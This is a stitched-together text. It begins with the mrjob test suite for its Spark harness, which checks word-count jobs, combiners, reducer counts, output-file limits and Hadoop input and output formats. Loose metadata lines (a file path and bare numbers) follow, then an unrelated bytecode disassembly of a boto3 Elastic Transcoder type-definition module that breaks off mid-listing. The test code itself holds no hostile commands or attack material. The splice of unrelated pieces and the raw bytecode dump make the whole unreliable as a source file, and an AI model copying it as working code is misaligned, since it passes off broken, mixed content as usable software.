class MRSumValuesByWord(MRJob): def mapper(self, _, line): word, value_str = line.split("\t", 1) yield word, int(value_str) def combiner(self, word, values): values_sum = sum(values) if values_sum != 0: yield word, values_sum def reducer(self, word, values): yield word, sum(values) class MRSumValuesByWordWithCombinerPreFilter(MRSumValuesByWord): def combiner_pre_filter(self): return "cat" class MRSumValuesByWordWithNoCombinerJobs(MRSumValuesByWord): def __init__(self, *args, **kwargs): super(MRSumValuesByWordWithNoCombinerJobs, self).__init__(*args, **kwargs) if self.options.run_combiner: raise NotImplementedError("Can't init combiner jobs") @skipIf(pyspark is None, "no pyspark module") class SparkHarnessOutputComparisonBaseTestCase( SandboxedTestCase, SingleSparkContextTestCase ): def _spark_harness_path(self): import mrjob.spark.harness path = mrjob.spark.harness.__file__ if path.endswith(".pyc"): path = path[:-1] return path def _reference_job( self, job_class, input_bytes=b"", input_paths=(), runner_alias="inline", job_args=[], ): args = ["-r", runner_alias] + list(job_args) + list(input_paths) reference_job = job_class(args) reference_job.sandbox(stdin=BytesIO(input_bytes)) return reference_job def _harness_job( self, job_class, input_bytes=b"", input_paths=(), runner_alias="inline", compression_codec=None, job_args=None, spark_conf=None, first_step_num=None, last_step_num=None, counter_output_dir=None, num_reducers=None, max_output_files=None, emulate_map_input_file=False, skip_internal_protocol=False, ): from tests.mr_spark_harness import MRSparkHarness job_class_path = "%s.%s" % (job_class.__module__, job_class.__name__) harness_job_args = ["-r", runner_alias, "--job-class", job_class_path] if spark_conf: for key, value in spark_conf.items(): harness_job_args.append("--jobconf") harness_job_args.append("%s=%s" % (key, value)) if compression_codec: harness_job_args.append("--compression-codec") harness_job_args.append(compression_codec) if job_args: harness_job_args.extend(["--job-args", cmd_line(job_args)]) if first_step_num is not None: harness_job_args.extend(["--first-step-num", str(first_step_num)]) if last_step_num is not None: harness_job_args.extend(["--last-step-num", str(last_step_num)]) if counter_output_dir is not None: harness_job_args.extend(["--counter-output-dir", counter_output_dir]) if num_reducers is not None: harness_job_args.extend(["--num-reducers", str(num_reducers)]) if max_output_files is not None: harness_job_args.extend(["--max-output-files", str(max_output_files)]) if emulate_map_input_file: harness_job_args.append("--emulate-map-input-file") if skip_internal_protocol: harness_job_args.append("--skip-internal-protocol") harness_job_args.extend(input_paths) harness_job = MRSparkHarness(harness_job_args) harness_job.sandbox(stdin=BytesIO(input_bytes)) return harness_job def _count_output_files(self, runner): return sum(1 for f in listdir(runner.get_output_dir()) if f.startswith("part-")) def _assert_output_matches( self, job_class, input_bytes=b"", input_paths=(), job_args=[], num_reducers=None, max_output_files=None, emulate_map_input_file=False, skip_internal_protocol=False, ): if job_class.__module__ == __name__: ref_job_runner_alias = "inline" else: ref_job_runner_alias = "local" reference_job = self._reference_job( job_class, input_bytes=input_bytes, input_paths=input_paths, job_args=job_args, runner_alias=ref_job_runner_alias, ) with reference_job.make_runner() as runner: runner.run() reference_output = sorted(to_lines(runner.cat_output())) if emulate_map_input_file: harness_job_runner_alias = "local" else: harness_job_runner_alias = "inline" harness_job = self._harness_job( job_class, input_bytes=input_bytes, input_paths=input_paths, job_args=job_args, max_output_files=max_output_files, num_reducers=num_reducers, emulate_map_input_file=emulate_map_input_file, skip_internal_protocol=skip_internal_protocol, runner_alias=harness_job_runner_alias, ) with harness_job.make_runner() as runner: runner.run() harness_output = sorted(to_lines(runner.cat_output())) self.assertEqual(harness_output, reference_output) class SparkHarnessOutputComparisonTestCase(SparkHarnessOutputComparisonBaseTestCase): def test_basic_job(self): input_bytes = b"one fish\ntwo fish\nred fish\nblue fish\n" self._assert_output_matches(MRWordFreqCount, input_bytes=input_bytes) def test_two_step_job(self): input_bytes = b"foo\nbar\n" self._assert_output_matches(MRTwoStepJob, input_bytes=input_bytes) def test_mixed_job(self): input_bytes = b"foo\nbar\n" job = self._harness_job( MRStreamingAndSpark, input_bytes=input_bytes, first_step_num=0, last_step_num=0, ) with job.make_runner() as runner: runner.run() self.assertEqual( set(to_lines(runner.cat_output())), {b'null\t"foo"\n', b'null\t"bar"\n'} ) def test_range_of_steps(self): input_bytes = b'"three"\t3\n"five"\t5' self._assert_output_matches( MRDoubler, input_bytes=input_bytes, job_args=["-n", "5"] ) steps_2_and_3_job = self._harness_job( MRDoubler, input_bytes=input_bytes, job_args=["-n", "5"], first_step_num=2, last_step_num=3, ) with steps_2_and_3_job.make_runner() as runner: runner.run() self.assertEqual( dict(steps_2_and_3_job.parse_output(runner.cat_output())), dict(three=12, five=20), ) def test_compression(self): compression_codec = "org.apache.hadoop.io.compress.GzipCodec" input_bytes = b"fa la la la la\nla la la la\n" job = self._harness_job( MRWordFreqCount, input_bytes=input_bytes, compression_codec=compression_codec, ) with job.make_runner() as runner: runner.run() self.assertTrue(runner.fs.exists(join(runner.get_output_dir(), "part*.gz"))) self.assertEqual( dict(job.parse_output(runner.cat_output())), dict(fa=1, la=8) ) def test_sort_values(self): input_bytes = b"alligator\nactuary\nbowling\nartichoke\nballoon\nbaby\n" self._assert_output_matches(MRSortAndGroup, input_bytes=input_bytes) def test_sort_values_sorts_encoded_values(self): input_bytes = b"alligator\nactuary\nbowling\nartichoke\nballoon\nbaby\n" job = self._harness_job(MRSortAndGroupReversedText, input_bytes=input_bytes) with job.make_runner() as runner: runner.run() self.assertEqual( dict(job.parse_output(runner.cat_output())), dict( a=["artichoke", "alligator", "actuary"], b=["bowling", "balloon", "baby"], ), ) def test_passthru_args(self): input_bytes = b"\n".join([b"to be or", b"not to be", b"that is the question"]) self._assert_output_matches( MRPassThruArgTest, input_bytes=input_bytes, job_args=["--chars", "--ignore", "to"], ) def test_combiner_called(self): input_bytes = b"one two three one two three one two three" job = self._harness_job(MRWordFreqCountFailingCombiner, input_bytes=input_bytes) with job.make_runner() as runner, self.assertRaises( Exception ) as assert_raises_context: runner.run() exception_text = assert_raises_context.exception.__str__() expected_str = MRWordFreqCountFailingCombiner.unique_exception_str assert expected_str in exception_text def test_combiner_that_yields_two_values(self): input_bytes = b"one two three one two three one two three" job = self._harness_job( MRWordFreqCountCombinerYieldsTwo, input_bytes=input_bytes ) with job.make_runner() as runner: runner.run() self.assertEqual( dict(job.parse_output(runner.cat_output())), dict(one=1003, two=1003, three=1003), ) def test_combiner_that_yields_zero_values(self): input_bytes = b"a b c\na b c\na b c\na b c" job = self._harness_job( MRWordFreqCountCombinerYieldsZero, input_bytes=input_bytes ) with job.make_runner() as runner: runner.run() self.assertEqual( dict(job.parse_output(runner.cat_output())), dict(), ) def test_combiner_that_sometimes_yields_zero_values(self): input_bytes = b"happy\t5\nsad\t3\nhappy\t2\nsad\t-3\n" job = self._harness_job(MRSumValuesByWord, input_bytes=input_bytes) with job.make_runner() as runner: runner.run() self.assertEqual( dict(job.parse_output(runner.cat_output())), dict(happy=7), # combiner should eliminate sad=0 ) def test_skip_combiner_if_runs_subprocesses(self): input_bytes = b"happy\t5\nsad\t3\nhappy\t2\nsad\t-3\n" job = self._harness_job( MRSumValuesByWordWithCombinerPreFilter, input_bytes=input_bytes ) with job.make_runner() as runner: runner.run() self.assertEqual( dict(job.parse_output(runner.cat_output())), dict(happy=7, sad=0), ) def test_skip_combiner_if_cant_init_job(self): input_bytes = b"happy\t5\nsad\t3\nhappy\t2\nsad\t-3\n" job = self._harness_job( MRSumValuesByWordWithNoCombinerJobs, input_bytes=input_bytes ) with job.make_runner() as runner: runner.run() self.assertEqual( dict(job.parse_output(runner.cat_output())), dict(happy=7, sad=0), ) def test_skip_combiner_that_runs_cmd(self): input_bytes = b"one fish\ntwo fish\nred fish\nblue fish\n" self._assert_output_matches( MRWordFreqCountWithCombinerCmd, input_bytes=input_bytes ) @contextmanager def create_temp_counter_dir(self): random_folder_name = "test_" + "".join( random.choice(string.ascii_uppercase + string.digits) for _ in range(10) ) output_counter_dir = join(gettempdir(), random_folder_name) yield output_counter_dir rmtree(output_counter_dir) def test_increment_counter(self): input_bytes = b"one fish\ntwo fish\nred fish\nblue fish\n" reference_job = self._reference_job(MRCountingJob, input_bytes=input_bytes) with reference_job.make_runner() as runner: runner.run() reference_counters = runner.counters() with self.create_temp_counter_dir() as output_counter_dir: harness_job = self._harness_job( MRCountingJob, input_bytes=input_bytes, counter_output_dir="file://{}".format(output_counter_dir), ) with harness_job.make_runner() as runner: runner.run() harness_counters = json.loads( self.spark_context.textFile( "file://" + output_counter_dir ).collect()[0] ) self.assertEqual(harness_counters, reference_counters) def test_increment_counter_non_uri_path(self): input_bytes = b"one fish\ntwo fish\nred fish\nblue fish\n" reference_job = self._reference_job(MRCountingJob, input_bytes=input_bytes) with reference_job.make_runner() as runner: runner.run() reference_counters = runner.counters() with self.create_temp_counter_dir() as output_counter_dir: harness_job = self._harness_job( MRCountingJob, input_bytes=input_bytes, counter_output_dir="{}".format(output_counter_dir), ) with harness_job.make_runner() as runner: runner.run() path = join(output_counter_dir, "part-00000") with open(path, "r") as rb: counters = rb.read() harness_counters = json.loads(counters) self.assertEqual(harness_counters, reference_counters) def test_job_with_no_mapper_in_second_step(self): input_bytes = b"one fish\ntwo fish\nred fish\nblue fish\n" self._assert_output_matches(MRNoMapper, input_bytes=input_bytes) class SkipInternalProtocolTestCase(SparkHarnessOutputComparisonBaseTestCase): def test_basic_job(self): input_bytes = b"one fish\ntwo fish\nred fish\nblue fish\n" self._assert_output_matches( MRWordFreqCount, input_bytes=input_bytes, skip_internal_protocol=True ) def test_two_step_job(self): input_bytes = b"foo\nbar\n" self._assert_output_matches( MRTwoStepJob, input_bytes=input_bytes, skip_internal_protocol=True ) def test_sort_values(self): input_bytes = b"alligator\nactuary\nbowling\nartichoke\nballoon\nbaby\n" self._assert_output_matches( MRSortAndGroup, input_bytes=input_bytes, skip_internal_protocol=True ) def test_sort_values_sorts_unencoded_values(self): input_bytes = b"alligator\nactuary\nbowling\nartichoke\nballoon\nbaby\n" job = self._harness_job( MRSortAndGroupReversedText, input_bytes=input_bytes, skip_internal_protocol=True, ) with job.make_runner() as runner: runner.run() self.assertEqual( dict(job.parse_output(runner.cat_output())), dict( a=["actuary", "alligator", "artichoke"], b=["baby", "balloon", "bowling"], ), ) class SparkConfigureReducerTestCase(SparkHarnessOutputComparisonBaseTestCase): def _assert_partition_count_different(self, cls, num_reducers): input_bytes = b"one fish\ntwo fish\nred fish\nblue fish\n" unlimited_job = self._harness_job(cls, input_bytes=input_bytes) with unlimited_job.make_runner() as runner: runner.run() default_partitions = self._count_output_files(runner) job = self._harness_job(cls, input_bytes=input_bytes, num_reducers=num_reducers) with job.make_runner() as runner: runner.run() part_files = self._count_output_files(runner) assert part_files != default_partitions assert part_files == num_reducers def test_num_reducers_cannot_be_set_to_zero(self): with self.assertRaises(ValueError): job = self._harness_job(MRWordFreqCount, num_reducers=0) with job.make_runner() as runner: runner.run() def test_reducer_less_reducer(self): self._assert_partition_count_different(MRWordFreqCount, num_reducers=1) def test_reducer_more_reducer(self): self._assert_partition_count_different(MRWordFreqCount, num_reducers=10) def test_combiner_less_reducer(self): self._assert_partition_count_different( MRWordFreqCountWithCombinerCmd, num_reducers=1 ) def test_combiner_more_reducer(self): self._assert_partition_count_different( MRWordFreqCountWithCombinerCmd, num_reducers=10 ) class MaxOutputFilesTestCase(SparkHarnessOutputComparisonBaseTestCase): def test_single_output_file(self): input_bytes = b"one fish\ntwo fish\nred fish\nblue fish\n" job = self._harness_job( MRWordFreqCount, input_bytes=input_bytes, max_output_files=1 ) with job.make_runner() as runner: runner.run() self.assertEqual(self._count_output_files(runner), 1) def test_can_reduce_number_of_output_files(self): input_bytes = b"one fish\ntwo fish\nred fish\nblue fish\n" job = self._harness_job( MRWordFreqCount, input_bytes=input_bytes, num_reducers=5, max_output_files=3 ) with job.make_runner() as runner: runner.run() self.assertEqual(self._count_output_files(runner), 3) def test_cant_increase_number_of_output_files(self): input_bytes = b"one fish\ntwo fish\nred fish\nblue fish\n" job = self._harness_job( MRWordFreqCount, input_bytes=input_bytes, num_reducers=5, max_output_files=10, ) with job.make_runner() as runner: runner.run() self.assertEqual(self._count_output_files(runner), 5) def test_does_not_perturb_job_output(self): input_bytes = b"one fish\ntwo fish\nred fish\nblue fish\n" self._assert_output_matches( MRWordFreqCount, input_bytes=input_bytes, max_output_files=1 ) self._assert_output_matches( MRWordFreqCount, input_bytes=input_bytes, num_reducers=5, max_output_files=3 ) class HadoopFormatsTestCase(SparkHarnessOutputComparisonBaseTestCase): SPARK_CONF = { "spark.jars": abspath( join(dirname(inspect.getsourcefile(MRNickNack)), "nicknack-1.0.1.jar") ), "spark.executor.cores": 1, "spark.cores.max": 1, } def test_hadoop_output_format(self): input_bytes = b"ee eye ee eye oh" job = self._harness_job( MRNickNack, input_bytes=input_bytes, runner_alias="local", spark_conf=self.SPARK_CONF, ) with job.make_runner() as runner: runner.run() self.assertTrue(runner.fs.exists(join(runner.get_output_dir(), "e"))) self.assertTrue(runner.fs.exists(join(runner.get_output_dir(), "o"))) output_counts = dict( (line.strip().split(b"\t") for line in to_lines(runner.cat_output())) ) expected_output_counts = {b'"ee"': b"2", b'"eye"': b"2", b'"oh"': b"1"} self.assertEqual(expected_output_counts, output_counts) def test_hadoop_output_format_with_compression(self): input_bytes = b"one two one two" compression_codec = "org.apache.hadoop.io.compress.GzipCodec" job = self._harness_job( MRNickNack, input_bytes=input_bytes, runner_alias="local", spark_conf=self.SPARK_CONF, compression_codec=compression_codec, ) with job.make_runner() as runner: runner.run() self.assertTrue( runner.fs.exists(join(runner.get_output_dir(), "o", "part*.gz")) ) self.assertTrue( runner.fs.exists(join(runner.get_output_dir(), "t", "part*.gz")) ) output_counts = dict( line.strip().split(b"\t") for line in to_lines(runner.cat_output()) ) expected_output_counts = {b'"one"': b"2", b'"two"': b"2"} self.assertEqual(expected_output_counts, output_counts) def test_hadoop_input_format(self): input_file_bytes = b"potato tomato" manifest_filename = join(self.tmp_dir, "manifest") input1_filename = join(self.tmp_dir, "input1") input2_filename = join(self.tmp_dir, "input2") with open(input1_filename, "wb") as input1_file: input1_file.write(input_file_bytes) with open(input2_filename, "wb") as input2_file: input2_file.write(input_file_bytes) with open(manifest_filename, "w") as manifest_file: manifest_file.writelines( ["%s\n" % input1_filename, "%s\n" % input2_filename] ) job = self._harness_job( MRNickNackWithHadoopInputFormat, runner_alias="local", spark_conf=self.SPARK_CONF, input_paths=([manifest_filename]), ) with job.make_runner() as runner: runner.run() output_counts = dict( line.strip().split(b"\t") for line in to_lines(runner.cat_output()) ) expected_output_counts = {b'"tomato"': b"2", b'"potato"': b"2"} self.assertEqual(expected_output_counts, output_counts) class EmulateMapInputFileTestCase(SparkHarnessOutputComparisonBaseTestCase): def test_one_file(self): two_lines_path = self.makefile("two_lines", b"line\nother line\n") self._assert_output_matches( MRCountLinesByFile, emulate_map_input_file=True, input_paths=[two_lines_path], ) @skipIf(pyspark is None, "no pyspark module") class PreservesPartitioningTestCase(SandboxedTestCase): def mock_rdd(self): """Make a mock RDD that returns itself.""" method_names = [ "combineByKey", "flatMap", "groupBy", "map", "mapPartitions", "mapValues", ] rdd = Mock(spec=method_names) for name in method_names: getattr(rdd, name).return_value = rdd return rdd def test_run_combiner_with_sort_values(self): self._test_run_combiner(sort_values=True) def test_run_combiner_with_num_reducers(self): self._test_run_combiner(num_reducers=1) def test_run_combiner_without_sort_values_and_num_reducers(self): self._test_run_combiner() def _test_run_combiner(self, sort_values=False, num_reducers=None): from mrjob.spark.harness import _run_combiner rdd = self.mock_rdd() combiner_job = Mock() combiner_job.pick_protocols.return_value = (Mock(), Mock()) final_rdd = _run_combiner( combiner_job, rdd, sort_values=sort_values, num_reducers=num_reducers ) self.assertEqual(final_rdd, rdd) # mock RDD's methods return it called_combineByKey = False for name, args, kwargs in rdd.method_calls: if called_combineByKey: if name == "mapValues": f = args[0] self._assert_maps_list_to_list_of_same_size(f) else: self.assertEqual(kwargs.get("preservesPartitioning"), True) elif name == "combineByKey": called_combineByKey = True self.assertTrue(called_combineByKey) def _assert_maps_list_to_list_of_same_size(self, f): f_of_values = f([("k", "v1"), ("k", "v2")]) self.assertEqual(type(f_of_values), list) self.assertEqual(len(f_of_values), 2) self.assertRaises(TypeError, f, 123) # iterables only, fools def test_shuffle_and_sort_with_sort_values(self): self._test_shuffle_and_sort(sort_values=True) def test_shuffle_and_sort_with_num_reducers(self): self._test_shuffle_and_sort(num_reducers=1) def test_shuffle_and_sort_without_sort_values_and_num_reducers(self): self._test_shuffle_and_sort() def _test_shuffle_and_sort(self, sort_values=False, num_reducers=None): from mrjob.spark.harness import _shuffle_and_sort rdd = self.mock_rdd() final_rdd = _shuffle_and_sort( rdd, sort_values=sort_values, num_reducers=num_reducers ) self.assertEqual(final_rdd, rdd) # mock RDD's methods return it called_groupBy = False for name, args, kwargs in rdd.method_calls: if called_groupBy: if "." in name: continue # Python 3.4/3.5 tracks groupBy.assert_called() self.assertEqual(kwargs.get("preservesPartitioning"), True) elif name == "groupBy": called_groupBy = True self.assertTrue(called_groupBy) def test_run_reducer_with_num_reducers(self): self._test_run_reducer(num_reducers=1) def test_run_reducer_without_num_reducers(self): self._test_run_reducer() def _test_run_reducer(self, num_reducers=None): from mrjob.spark.harness import _run_reducer rdd = self.mock_rdd() def make_mock_mrc_job(mrc, step_num): job = Mock() job.pick_protocols.return_value = (Mock(), Mock()) return job final_rdd = _run_reducer(make_mock_mrc_job, 0, rdd, num_reducers=num_reducers) self.assertEqual(final_rdd, rdd) # mock RDD's methods return it called_mapPartitions = False before_mapPartitions = True for name, args, kwargs in rdd.method_calls: if name == "mapPartitions": called_mapPartitions = True before_mapPartitions = False if before_mapPartitions: self.assertEqual(kwargs.get("preservesPartitioning"), True) else: self.assertEqual( kwargs.get("preservesPartitioning"), bool(num_reducers) ) self.assertTrue(called_mapPartitions)
data/mrjob-0.7.4/tests/spark/test_harness.py
18,415
9,020
132,856
LOAD_CONST '\nType annotations for elastictranscoder service type definitions.\n\n[Open documentation](https://youtype.github.io/boto3_stubs_docs/mypy_boto3_elastictranscoder/type_defs/)\n\nUsage::\n\n ```python\n from mypy_boto3_elastictranscoder.type_defs import EncryptionTypeDef\n\n data: EncryptionTypeDef = ...\n ```\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME sys STORE_NAME sys LOAD_CONST 0 LOAD_CONST ('Dict', 'List', 'Mapping', 'Sequence') IMPORT_NAME typing IMPORT_FROM Dict STORE_NAME Dict IMPORT_FROM List STORE_NAME List IMPORT_FROM Mapping STORE_NAME Mapping IMPORT_FROM Sequence STORE_NAME Sequence POP_TOP LOAD_NAME sys LOAD_ATTR version_info LOAD_CONST (3, 12) COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('NotRequired',) IMPORT_NAME typing IMPORT_FROM NotRequired STORE_NAME NotRequired POP_TOP JUMP_FORWARD to 72 LOAD_CONST 0 LOAD_CONST ('NotRequired',) IMPORT_NAME typing_extensions IMPORT_FROM NotRequired STORE_NAME NotRequired POP_TOP LOAD_NAME sys LOAD_ATTR version_info LOAD_CONST (3, 12) COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_CONST 0 LOAD_CONST ('TypedDict',) IMPORT_NAME typing IMPORT_FROM TypedDict STORE_NAME TypedDict POP_TOP JUMP_FORWARD to 108 LOAD_CONST 0 LOAD_CONST ('TypedDict',) IMPORT_NAME typing_extensions IMPORT_FROM TypedDict STORE_NAME TypedDict POP_TOP LOAD_CONST ('EncryptionTypeDef', 'AudioCodecOptionsTypeDef', 'CancelJobRequestRequestTypeDef', 'TimeSpanTypeDef', 'HlsContentProtectionTypeDef', 'PlayReadyDrmTypeDef', 'ResponseMetadataTypeDef', 'NotificationsTypeDef', 'WarningTypeDef', 'ThumbnailsTypeDef', 'DeletePipelineRequestRequestTypeDef', 'DeletePresetRequestRequestTypeDef', 'DetectedPropertiesTypeDef', 'TimingTypeDef', 'PaginatorConfigTypeDef', 'ListJobsByPipelineRequestRequestTypeDef', 'ListJobsByStatusRequestRequestTypeDef', 'ListPipelinesRequestRequestTypeDef', 'ListPresetsRequestRequestTypeDef', 'PermissionPaginatorTypeDef', 'PermissionTypeDef', 'PresetWatermarkTypeDef', 'WaiterConfigTypeDef', 'ReadJobRequestRequestTypeDef', 'ReadPipelineRequestRequestTypeDef', 'ReadPresetRequestRequestTypeDef', 'TestRoleRequestRequestTypeDef', 'UpdatePipelineStatusRequestRequestTypeDef', 'ArtworkTypeDef', 'CaptionFormatTypeDef', 'CaptionSourceTypeDef', 'JobWatermarkTypeDef', 'AudioParametersTypeDef', 'ClipTypeDef', 'CreateJobPlaylistTypeDef', 'PlaylistTypeDef', 'TestRoleResponseTypeDef', 'UpdatePipelineNotificationsRequestRequestTypeDef', 'ListJobsByPipelineRequestListJobsByPipelinePaginateTypeDef', 'ListJobsByStatusRequestListJobsByStatusPaginateTypeDef', 'ListPipelinesRequestListPipelinesPaginateTypeDef', 'ListPresetsRequestListPresetsPaginateTypeDef', 'PipelineOutputConfigPaginatorTypeDef', 'PipelineOutputConfigTypeDef', 'VideoParametersPaginatorTypeDef', 'VideoParametersTypeDef', 'ReadJobRequestJobCompleteWaitTypeDef', 'JobAlbumArtPaginatorTypeDef', 'JobAlbumArtTypeDef', 'CaptionsPaginatorTypeDef', 'CaptionsTypeDef', 'InputCaptionsPaginatorTypeDef', 'InputCaptionsTypeDef', 'PipelinePaginatorTypeDef', 'CreatePipelineRequestRequestTypeDef', 'PipelineTypeDef', 'UpdatePipelineRequestRequestTypeDef', 'PresetPaginatorTypeDef', 'CreatePresetRequestRequestTypeDef', 'PresetTypeDef', 'JobOutputPaginatorTypeDef', 'CreateJobOutputTypeDef', 'JobOutputTypeDef', 'JobInputPaginatorTypeDef', 'JobInputTypeDef', 'ListPipelinesResponsePaginatorTypeDef', 'CreatePipelineResponseTypeDef', 'ListPipelinesResponseTypeDef', 'ReadPipelineResponseTypeDef', 'UpdatePipelineNotificationsResponseTypeDef', 'UpdatePipelineResponseTypeDef', 'UpdatePipelineStatusResponseTypeDef', 'ListPresetsResponsePaginatorTypeDef', 'CreatePresetResponseTypeDef', 'ListPresetsResponseTypeDef', 'ReadPresetResponseTypeDef', 'JobPaginatorTypeDef', 'CreateJobRequestRequestTypeDef', 'JobTypeDef', 'ListJobsByPipelineResponsePaginatorTypeDef', 'ListJobsByStatusResponsePaginatorTypeDef', 'CreateJobResponseTypeDef', 'ListJobsByPipelineResponseTypeDef', 'ListJobsByStatusResponseTypeDef', 'ReadJobResponseTypeDef') STORE_NAME __all__ LOAD_NAME TypedDict LOAD_CONST 'EncryptionTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Mode', 'Key', 'KeyMd5', 'InitializationVector') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME EncryptionTypeDef LOAD_NAME TypedDict LOAD_CONST 'AudioCodecOptionsTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Profile', 'BitDepth', 'BitOrder', 'Signed') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME AudioCodecOptionsTypeDef LOAD_NAME TypedDict LOAD_CONST 'CancelJobRequestRequestTypeDef' LOAD_CONST 'Id' LOAD_NAME str BUILD_MAP CALL_FUNCTION STORE_NAME CancelJobRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'TimeSpanTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('StartTime', 'Duration') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME TimeSpanTypeDef LOAD_NAME TypedDict LOAD_CONST 'HlsContentProtectionTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Method', 'Key', 'KeyMd5', 'InitializationVector', 'LicenseAcquisitionUrl', 'KeyStoragePolicy') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME HlsContentProtectionTypeDef LOAD_NAME TypedDict LOAD_CONST 'PlayReadyDrmTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Format', 'Key', 'KeyMd5', 'KeyId', 'InitializationVector', 'LicenseAcquisitionUrl') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PlayReadyDrmTypeDef LOAD_NAME TypedDict LOAD_CONST 'ResponseMetadataTypeDef' LOAD_NAME str LOAD_NAME str LOAD_NAME int LOAD_NAME Dict LOAD_NAME str LOAD_NAME str BUILD_TUPLE BINARY_SUBSCR LOAD_NAME int LOAD_CONST ('RequestId', 'HostId', 'HTTPStatusCode', 'HTTPHeaders', 'RetryAttempts') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ResponseMetadataTypeDef LOAD_NAME TypedDict LOAD_CONST 'NotificationsTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Progressing', 'Completed', 'Warning', 'Error') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME NotificationsTypeDef LOAD_NAME TypedDict LOAD_CONST 'WarningTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Code', 'Message') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME WarningTypeDef LOAD_NAME TypedDict LOAD_CONST 'ThumbnailsTypeDef' LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('Format', 'Interval', 'Resolution', 'AspectRatio', 'MaxWidth', 'MaxHeight', 'SizingPolicy', 'PaddingPolicy') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ThumbnailsTypeDef LOAD_NAME TypedDict LOAD_CONST 'DeletePipelineRequestRequestTypeDef' LOAD_CONST 'Id' LOAD_NAME str BUILD_MAP CALL_FUNCTION STORE_NAME DeletePipelineRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'DeletePresetRequestRequestTypeDef' LOAD_CONST 'Id' LOAD_NAME str BUILD_MAP CALL_FUNCTION STORE_NAME DeletePresetRequestRequestTypeDef LOAD_NAME TypedDict LOAD_CONST 'DetectedPropertiesTypeDef' LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('Width', 'Height', 'FrameRate', 'FileSize', 'DurationMillis') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME DetectedPropertiesTypeDef LOAD_NAME TypedDict LOAD_CONST 'TimingTypeDef' LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_CONST ('SubmitTimeMillis', 'StartTimeMillis', 'FinishTimeMillis') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME TimingTypeDef LOAD_NAME TypedDict LOAD_CONST 'PaginatorConfigTypeDef' LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME int BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('MaxItems', 'PageSize', 'StartingToken') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME PaginatorConfigTypeDef LOAD_NAME TypedDict LOAD_CONST 'ListJobsByPipelineRequestRequestTypeDef' LOAD_NAME str LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_NAME NotRequired LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('PipelineId', 'Ascending', 'PageToken') BUILD_CONST_KEY_MAP CALL_FUNCTION STORE_NAME ListJobsByPipelineRequestRequestTypeDef LOAD_NAME TypedDict 